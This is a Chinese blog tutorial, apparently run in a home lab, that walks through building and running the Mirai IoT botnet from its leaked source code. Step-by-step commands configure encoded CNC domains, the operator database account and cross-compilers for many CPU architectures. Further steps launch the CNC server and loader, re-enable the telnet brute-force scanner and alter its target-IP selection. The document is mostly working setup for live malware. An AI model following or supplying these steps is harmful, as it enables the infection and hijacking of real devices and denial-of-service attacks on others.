Mirai-botnet 环境搭建步骤

一、准备
1.Mirai 使用了 C,Go 两种编程语言,使用数据库存储数据,因此提前安装需要软件如下命令:

sudo apt-get install git   
sudo apt-get install gcc
sudo apt-get install golang
sudo apt-get install electric-fence
sudo apt-get install mysql-server mysql-client

2.下载源码

git clone https://github.com/jgamblin/Mirai-Source-Code

3.修改参数,配置CNC

cd mirai/tools && gcc enc.c -o enc.out //编译enc可执行文件,用于ip地址异或
./enc.out string cnc.changeme.com   //会返回一串“\x”字符串 (其实就是加密了 cnc.changeme.com)
./enc.out string report.changeme.com   //会返回一串“\x”字符串

分别替换tables.c 文件中的18行和21行的“\x”字符串和后面的另一个参数
下图是我得到的字符串和修改后的图。提供参考。

得到的字符串

修改前

修改后

记得:要修改两个参数!(\x字符串和后面的长度的参数)
4.配置数据库

cd ../../scripts   //进入script目录
gedit db.sql   //编辑大db.sql文件

添加use mirai;如下图

image.png

service mysql start   //启动Mysql 服务
cat db.sql | mysql -uroot -proot 
mysql -uroot -proot    //以用户名和密码都是`root`登录数据库
INSERT INTO users VALUES (NULL, 'mirai-user', 'mirai-pass', 0, 0, 0, 0, -1, 1, 30, '');   //添加的用户
exit   //退出

修改mirai/cnc/main.go中用户名和密码与设置的一样。修改后如下图

修改数据库参数.png

5.配置交叉编译环境

cd .. && mkdir cross-compmile-bin   //这里是在`Mirai-Source-Code`目录下新建
cd cross-compile-bin   

下载如下11个压缩包

wget
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2
wget
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv5l.tar.bz2
wget
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2
wget
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i686.tar.bz2
wget
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2
wget
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2
wget
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2
wget
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz
2
wget
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2
wget
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2
wget
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-x86_64.tar.bz2

(有可能会下的很慢。我这里放一个我的下好的。链接:https://pan.baidu.com/s/1Z89uaV7boW2SRjIv6Y0Iig
提取码:7o34 )

cd ../scripts
sudo ./cross-compile.sh

编译过程会提示是否安装 mysql,选否就可以

gedit ~/.bashrc   //打开环境变量

把以下放到最后

export PATH=$PATH:/etc/xcompile/armv4l/bin
export PATH=$PATH:/etc/xcompile/armv5l/bin
export PATH=$PATH:/etc/xcompile/armv6l/bin
export PATH=$PATH:/etc/xcompile/i586/bin
export PATH=$PATH:/etc/xcompile/m68k/bin
export PATH=$PATH:/etc/xcompile/mips/bin
export PATH=$PATH:/etc/xcompile/mipsel/bin
export PATH=$PATH:/etc/xcompile/powerpc/bin
export PATH=$PATH:/etc/xcompile/powerpc-440fp/bin
export PATH=$PATH:/etc/xcompile/sh4/bin
export PATH=$PATH:/etc/xcompile/sparc/bin
export GOPATH=$HOME/go

如图:
Mirai-botnet 环境搭建步骤_第1张图片
image.png
source ~/.bashrc     //刷新环境变量

6.编译CNC 和bot

go get github.com/go-sql-driver/mysql
go get github.com/mattn/go-shellwords
cd ../mirai
./build.sh debug telnet
cd ../loader
./build.sh

至此环境全部配置完成。

二、说明
设备情况:
电脑A:作为第一个被感染的设备。在48101端口运行./mirai.dbg进行扫描爆破。
电脑B:作为CNC&Loader。
CNC时:在分别在23和101 端口运行./cnc发送攻击指令、与bot保持连接。
Loader时:在48101端口运行./scanList持续监听。

连接情况:
1 电脑 A、B通过wifi连接宿舍局域网。
2 摄像头A、B利用交换机与宿舍路由器连接。
最终就是保证四台设备要在同一网络下,能够相互连接。

三、测试
1.还需要一点调整
由于cnc启动是在/debug/cnc目录下进行的,但是源码里写的是绝对路经。(如下图)

image.png

所以我们把 mirai目录下的 prompt.txt移动到 /debug/cnc下。
如图
Mirai-botnet 环境搭建步骤_第2张图片
image.png

2.启动CNC (电脑B)

go build -o debug/cnc cnc/*.go    //在mirai 目录下运行
./debug/cnc

得到如图:


image.png

再新开一个终端尝试连接 (可能需要管理员权限)

telnet cnc.change.com 23  

得到如下提示后再按一下回车,输入用户名密码登录


image.png

得到下图反馈表示登录成功!

Mirai-botnet 环境搭建步骤_第3张图片
image.png

3 启动loader (电脑B)

cd mirai/debug 
sudo ./scanListen

通过查看48101端口是可以看到该端口在运行该程序

netstat -lput   // 查看端口指令
Mirai-botnet 环境搭建步骤_第4张图片
image.png

4 启动扫描程序 (电脑A)
由于源码默认在 debug 模式中关闭了 scanner 功能,将bot/main.c 中157行和162行注释后即可运行。

Mirai-botnet 环境搭建步骤_第5张图片
image.png

之后重新编译运行即可
mirai目录下运行如下

./build.sh  debug telnet      

mirai/debug目录下运行如下(这里注意一定要用管理员权限进行

sudo ./mirai.dbg

则会开始扫描如下:


Mirai-botnet 环境搭建步骤_第6张图片
image.png

5 控制扫描ip
由于源码中是随机找一个ip进行爆破 (mirai/bot/scanner.c 674行起),修改代码后暂时可以固定一位ip地址扫描。修改后固定第一位为‘10’,结果如下:

Mirai-botnet 环境搭建步骤_第7张图片
image.png

参考:
https://www.cdxy.me/?p=746
https://www.cdxy.me/?p=748

你可能感兴趣的:(Mirai-botnet 环境搭建步骤)